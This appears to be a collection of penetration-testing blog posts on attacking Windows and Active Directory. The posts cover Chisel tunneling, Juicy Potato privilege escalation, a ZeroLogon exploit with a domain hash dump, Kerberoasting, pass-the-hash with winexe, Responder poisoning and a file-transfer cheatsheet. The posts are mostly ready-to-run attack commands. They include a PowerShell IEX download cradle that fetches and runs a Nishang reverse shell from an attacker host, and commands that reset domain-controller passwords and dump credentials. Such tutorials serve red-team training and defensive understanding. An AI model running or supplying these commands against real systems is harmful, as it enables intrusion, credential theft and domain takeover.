Tips & Tricks

Tunneling Through Windows Machines with Chisel

Chisel is an application that makes port forwarding simple when you’re going against a Windows host. This is especially useful in instances where there is a service running and only available on the loopback interface of a compromised Windows computer. Using Chisel in a setup like this will allow you to use any tools you have installed on Kali Linux, through the tunnel, against the loopback interface of the Windows machine.


To download Chisel, head over to the following Github page:
https://github.com/jpillora/chisel/releases/tag/v1.7.3

You’ll need to download a version for Linux to use from Kali, and another version for Windows to use on the target system.

Next, you’ll want to unzip the files.
gunzip -d *.gz

Then you’ll want to transfer the Windows version of the file to your target system using whatever method you’d like. For help with this, see my Windows File Transfer Cheatsheet.

Back on our Kali machine, we’ll make the application executable. Note: Your filename may be different than mine.
chmod +x chisel

Now we’ll start up Chisel in server mode, since we want the Windows box to connect back to us.
./chisel server --reverse --port 9002

Then on the Windows machine, you’ll run a command similar to the one below. The following command will instruct Chisel to connect back to the Kali machine on port 9002. Once connected, we’ll forward any traffic sent to port localhost port 3306 to port 3306 on the Windows machine. The 2nd entry does the same thing, but for port 8888.
.\chisel.exe client <kaliIP>:9002 R:3306:localhost:3306 R:8888:localhost:8888

Now we can confirm that we’re able to connect to port 3306 of the Windows machine, through the tunnel, from the Kali machine.
nc localhost 3306

Tips & Tricks

Extracting Password Policy From Domain Machines

Before you start a Password Spraying or Brute Force attack, you always want to check what the password policy is first so you don’t start locking accounts out. This post intends to serve as a guide that lists a handful of ways to enumerate this.


Using CrackMapExec:

crackmapexec smb <targetIP> --pass-pol

If that doesn’t work, you can attempt again with a null authentication attempt by using the following. This typically works when a domain has been upgraded from 2003:

crackmapexec smb <targetIP> --pass-pol -u '' -p ''


Using Enum4Linux:

enum4linux <targetIP>


Using RPCClient:

If the below works, then we may be able to utilize RPC commands to extract details about the user and password policies.

rpcclient -U '' <targetIP>


Using PowerShell:

https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-addefaultdomainpasswordpolicy?view=win10-ps

Hacking Tutorial

Windows Privilege Escalation: Abusing SeImpersonatePrivilege with Juicy Potato

When you’ve found yourself as a low-level user on a Windows machine, it’s always worthwhile to check what privileges your user account has. If you have the SeImpersonatePrivilege, there is a very simply attack vector that you can leverage to gain SYSTEM level access.

Table of Contents

  • Verifying Permissions and Downloading Exploit
  • Performing the Attack

Verifying Permissions and Downloading Exploit

Let’s start by checking what privileges our user has.

whoami /all

Based on the return output, we can confirm that we have the correct privileges to abuse this vulnerability.

Great! Lets go out and download our exploit. You can get the latest version by navigating to the following Github page, and clicking on Releases.

https://github.com/ohpe/juicy-potato

Once downloaded to our system. lets transfer it to our victim machine using your favorite method. Feel free to review the options at my Windows File Transfer Cheatsheet. Once its present on the target system, running the executable should return the following help documentation.

Perfect! We should be ready to perform the attack.


Performing the Attack

This attack will allow us to run executables as the SYSTEM level process. This means that in addition to the JuicyPotato.exe exploit, we’ll also need our own malicious file that we wish to execute. This could be many different things, but a common example would be a reverse shell payload. You can learn how to generate these by visiting my MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter).

However in this example, I’m going to use a PowerShell Nishang reverse shell. If you do not have this downloaded, you can get it from the following Github page: https://github.com/samratashok/nishang

With the contents of this repo stored in your /opt directory, let’s copy the Invoke-PowerShellTcp.ps1 script to our present working directory as rev.ps1.

sudo cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1

Then, let’s make a slight modification to the script and add the following line to the bottom. Doing this will not only load the modules into the PowerShell session when called upon, but it will also execute them so that a reverse shell connection can establish.

Invoke-PowerShellTcp -Reverse -IPAddress <attackerIP> -Port <attackerPort>

With that script modified and ready, we can host it up on our webserver using the following command:

sudo python -m SimpleHTTPServer 80

Oh! And don’t forget to start your Netcat listener.

sudo nc -nvlp <attackerPort>

The only thing needed at this point is a batch script that we can pass to Juicy Potato. Since Juicy Potato will run the batch script as SYSTEM, any commands we place in it will execute as SYSTEM. Let’s have our batch script contain the following PowerShell command so that it will download our Nishang reverse shell and execute it.

powershell "IEX(New-Object Net.WebClient).downloadString('http://attackerIP/rev.ps1')"

Now we’ll transfer this batch file to our target and run our Juicy Potato command! To understand what we’re doing in this attack, I’d recommend reading http://ohpe.it/juicy-potato/. The following command should work in most cases without the need for modification (other than the path/executables).

.\JuicyPotato.exe -t * -p c:\path\to\executable.bat -l 9002

If the above command returns an error, you may need to find a different CLSID. If that’s the case, you can find a different one from the following page: https://ohpe.it/juicy-potato/CLSID/

.\JuicyPotato.exe -t * -p c:\path\to\executable.bat -l 9002 -c '{CLSID}'

If everything works, Juicy Potato should execute executable.bat as SYSTEM, which issues a PowerShell command that downloads rev.ps1 from our attack machine. Rev.ps1 will then load Nishang into memory, and establish a reverse shell connection to our Netcat listener. Running whoami in that connection should return SYSTEM.


Additional Resources:

A more modern version of this attack is Rogue Potato: https://github.com/antonioCoco/RoguePotato

Tips & Tricks

Installing Git Bash for Windows

Git Bash for Windows allows you to leverage Unix commands, such as; ls, cat, grep, find, etc. It also allows you to easily download tools from Github using the Git Clone syntax.


Navigate over to the following URL and download the necessary installer.

https://git-scm.com/download/win

Save the installer, and then Run as Admin.

Then go through the Next, Next, Finish. I like to use the defaults.

Once finished, you can find and run the program.

General Blog, Pentesting

Installing Covenant C2 on Windows

Covenant C2 is described by its authors as “A . NET command and control framework that aims to highlight the attack surface of . NET, make the use of offensive . NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.”

This post is meant to supplement a video that I uploaded to my YouTube channel.


Installing Prerequisites

To begin, we have some prerequisites to install. They both can be found at the following links. Both installers work well with default settings and just basic “Next, Next, Finish”.

https://dotnet.microsoft.com/download/dotnet-core/3.1

https://git-scm.com/download/win


Creating Windows Defender Exclusion

Once installed, let’s create a directory at the following location.

mkdir c:/opt

And then you can add the Exclusion in Windows Defender.


Downloading and Building Covenant

Launch Git as Administrator and run the following commands.

cd c:/opt
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet run

Once its finished, you can access Covenant via https://127.0.0.1:7443

Hacking Tutorial, Windows Updates/Patches

Abusing CVE-2020-1472 (ZeroLogon)

Secura has a great blog post on this topic already, but I wanted to share my experience with actually playing with their proof-of-concept exploit code. You can read about this exploit on their blog at https://www.secura.com/blog/zero-logon.

The exploit abuses the Netlogon Remote Protocol in Windows, which among other things, can be used to update computer passwords.

This vulnerability, and patch, isn’t exactly new. Microsoft released a patch for it last month, but there are now some public POCs in the wild that anybody can get their hands on, making this much more dangerous to leave un-patched.


Installing Tools

First, we’re going to need a few things from GitHub. I like to download the tools in my /opt directory. You can run the following command to download the prerequisites.

sudo git clone https://github.com/dirkjanm/CVE-2020-1472.git

And then we need to download and install Impacket.

sudo git clone https://github.com/SecureAuthCorp/impacket.git

cd /opt/impacket

sudo pip3 install .


Performing the Exploit

The above mentioned POC exploit will reset the password of the domain controller account, so BE CAREFUL RUNNING IN PRODUCTION as it will break communication to other domain controllers in the domain.

To reset the password of the domain controller account and make it null, we can use the following command.

python3 cve-2020-1472-exploit.py <netBIOS-Hostname> <targetIP>

If you see that the exploit was successful, you should then be able to run a command like the following to dump all of the domain account hashes.

sudo secretsdump.py -just-dc <domain>/<hostname>\$@<targetIP>


Restoring the Environment

The proof-of-concept exploit code also includes a script for restoring the old credential post-exploitation. To do this, you can grab the hex encoded machine password from the secretsdump.py output and then use the following command.

sudo python restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>


Patching the Exploit

A patch is available from Microsoft at the following URL. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

While the above mentioned article includes a table with a list of patches, I’d highly recommend checking the Windows Update Catalog for patches that might have superseded the articles mentioned in this table. For example, the September roll-ups contain this patch and are not listed in the table.

Running this exploit against a machine that has received the patch will return the following result.


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Hacking Tutorial

Performing Kerberoast Attacks in Windows Active Directory


Without Authenticated User:

Some user accounts may be configured with ‘Do not require Kerberos preauthentication‘ set. For accounts that are configured in this way, we may not need valid user credentials to extract TGTs for cracking. The following tool from Impacket can help with this.

./GetNPUsers.py -dc-ip <targetIP> -request '<FQDN>/' -format hashcat

With Authenticated User:

Once you have low-level credentials to a Windows domain, you may be able to leverage those credentials to perform a Kerberoast attack against a higher-level user account. The easiest way to identify if a user account is vulnerable to a Kerberoast attack is via BloodHound.

Once you have identified a Kerberoastable user, you can leverage Impacket to perform the attack w/ the following command. This command will require valid domain credentials for at least a low-level user, but it should return the password hash of any Kerberoastable user on the domain.

GetUserSPNs.py -request -dc-ip <ip-addr> <domain>/<user>

Alternatively, you could also use the following PowerShell one-liner.

IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt

We can then take this password hash to hashcat with the following command.

hashcat -m 13100 <hashfile> <wordlist>

Tips & Tricks

Popping Remote Shells w/ winexe & pth-winexe on Windows

If you’re able to come across credentials or NTLM hashes for a Windows box that has SMB enabled, you may be able to leverage the tool called winexe to gain a shell. If you have captured a NTLM hash, say from dumping a SAM database, you may be able to pass-the-hash.


Basic syntax w/ credentials.

winexe -U <domain/username>%<password> //<targetIP> cmd.exe

Basic syntax w/ NTLM hash (pass the hash technique).

pth-winexe -U <domain/username>%<hash> //<targetIP> cmd.exe

Additional details about the command can be found here. https://tools.kali.org/maintaining-access/winexe

Tips & Tricks

Windows File Transfer Cheatsheet

Wanted to provide a single place to go for all file upload/download techniques when attacking a Windows machine from Kali Linux. This will be updated as I come across new ones and/or the next time I need to use them.


Uploading and Hosting Files

Python Web Server

The following will start a webserver in the present working directory using Python2.
python -m SimpleHTTP Server 80

The following will start a webserver in the present working directory using Python3.
python3 -m http.server 80


Impacket SMB Server

You can download Impacket from Github.

We’ll need to perform a few steps to set this up, but it’s a great way to transfer files to/from a system. To begin, let’s create a directory called smb on our attacking system. Files in this directory will be available on the other end, and likewise, the other end will be able to place files into this directory.
mkdir smb
impacket-smbserver <sharename> `<path>`

Then we can mount this file share in PowerShell from the other side.
New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName>

And change into the new drive.
cd <ShareName>:

Additional Method With Authentication:

On our Kali machine, we’ll start our Impacket server while in the directory we wish to host.
sudo impacket-smbserver <shareName> $(pwd) -smb2support -user <user> -p <password>

Then on the Windows machine, we’ll connect back to this SMB share, but we’ll need to specify the credentials mentioned in the above command. To do that, we’ll use the following commands:

$pass = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<user>', $pass)
New-PSDrive -Name "<ShareName>" -PSProvider "FileSystem" -Root "\\<attackerIP>\<ShareName> -Credential $cred


Downloading Files

PowerShell

The following will download and store a remote file to disk.
Invoke-WebRequest -Uri "http://attackerIP/file.exe" -OutFile "C:\path\to\file.exe"

The following will download and automatically execute the remote PowerShell script when ran from a command prompt.
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://attackerIP/file.ps1')

An alternative to the above is to use Invoke-WebRequest in a different manner.
powershell.exe "IEX (IWR http://attackerIP/file.ps1 -UseBasicParsing)"


CertUtil

The following will download and store a remote file to disk.
certutil.exe -urlcache -f "http://attackerIP/file.exe" file.exe


Windows Defender

The following will download and store a remote file to disk.
MpCmdRun.exe -DownloadFile -url [url] -path [path_to_save_file]


Transferring with SSH

To copy a file from B to A while logged into B:
scp /path/to/file username@a:/path/to/destination

To copy a file from B to A while logged into A:
scp username@b:/path/to/file /path/to/destination


Transferring via Base64 Encoding

From within a PowerShell session, you may want to encode the file into Base64 format so you can just copy it down to your destination machine and decode it on the other side. This is handy for transferring small files.

Within PowerShell, you can encode a file by running:

$file-contents = Get-Content "filename.txt"
$file-encode = [System.Text.Encoding]::UTF8.GetBytes($file-contents)
[System.Convert]::ToBase64String($file-encode)

Then, within Kali, you can decode it using the following:
echo -n <base64String> | base64 -d > filename.txt

This should create the file for you to interact with.


Hacking Tutorial, Pentesting

Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes)


Other Parts in Series:

Welcome to Part 1 of this series. As each part gets released, we’ll dive deeper and deeper into the joys of LLMNR poisoning and I’ll demonstrate just how easy it makes the life of an attacker when this default legacy protocol is still running in your environment.

By the end of this series, you will be able to pivot across an ENTIRE poorly configured domain with SYSTEM-level access.

Part 1 Table of Contents:

  • What is LLMNR & NBT-NS?
  • Brief Explanation of the Exploit
  • Downloading and Installing Responder
  • Capturing NTLMv2 Hashes w/ Responder

What is LLMNR & NBT-NS?

Crowe.com does a fantastic job at giving you a high-level overview of what NetBIOS & link-local multicast name resolution do. Instead of reinventing the wheel, I will simply provide an excerpt from their website below.

“NetBIOS and LLMNR are protocols used to resolve host names and facilitate communication between hosts on local networks. NetBIOS is generally outdated and can be used to communicate with legacy systems. LLMNR is designed for consumer-grade networks in which a domain name system (DNS) server might not exist.”

If none of this sounds familiar, I highly recommend checking out the below link and reading more about these protocols before moving on.

https://www.crowe.com/cybersecurity-watch/netbios-llmnr-giving-away-credentials


Great! So how can I exploit this?

When a computer requests access to a legitimate network resource, it usually follows a set of pre-defined queries. LLMNR and NetBIOS come into play as last resort options when other methods (such as DNS or local hosts files) don’t prove helpful. Since LLMNR & NetBIOS will attempt name resolution via broadcasted requests to the broadcast-domain, we can set up tools to listen for these requests and respond back pretending to be the intended recipient.

Name Resolution Response Attack

Downloading & Installing Responder

Navigate to the following GitHub page and Copy the clone URL.
https://github.com/lgandx/Responder/

Navigate to your /opt folder and Download the tool using git.
cd /opt
sudo git clone https://github.com/lgandx/Responder.git


Poisoning Requests With Responder to Capture NTLMv2 Hashes

Now that we have our tools set up. Let’s take a deeper look at Responder.
cd /opt/Responder
ls

We see a handful of files, including Responder.conf (the configuration file) and Responder.py (the script used to perform the exploit). Let’s take a closer look at Responder.conf.
gedit Responder.conf

So there’s a lot going on in here, but I just wanted to make you aware of the section titled Servers to Start. This is where we can configure which servers we’d like Responder to spin up to perform the exploit. We won’t actually make any changes in here just yet, just know that this conf file is very important and will be brought up in the future.

With all servers active, let’s go ahead and Run Responder on our primary interface (note yours may differ depending on your environment).
sudo python Responder.py -I eth0

So what’s happening here? Responder is listening for all incoming requests in the three listed Poisoners (LLMNR, NBT-NS, DNS/MDNS). If any devices on the network need a hand resolving a hostname, fileshare, etc. they will send a broadcast out to the entire network. With this tool running, we will be able to ‘Respond’, pretending to be that destination server. From there, the device will reply back with its NTLMv2 Hash as it attempts to authenticate to the resource.

You’ll get the most responses back on a busy network with many devices in use. I’ve also found that we will get a lot of results during the beginning of shifts or once users return from lunch breaks. If you have enough patience, you should receive a response pretty soon. If you don’t have patience, then let’s see if we can force a LLMNR request..

From a Windows machine on the network, launch a File Explorer window, and attempt to Browse to a fileshare that doesn’t exist.
\\infinitelogins

Within just a few moments, Responder is able to capture my NTLMv2 Hash.


That’s it for this post! Next up, I’ll be showing you what you can do with these hashes to pivot onto other machines or even score a reverse shell. In the mean-time, let me know what you thought of this and whether or not it has been helpful!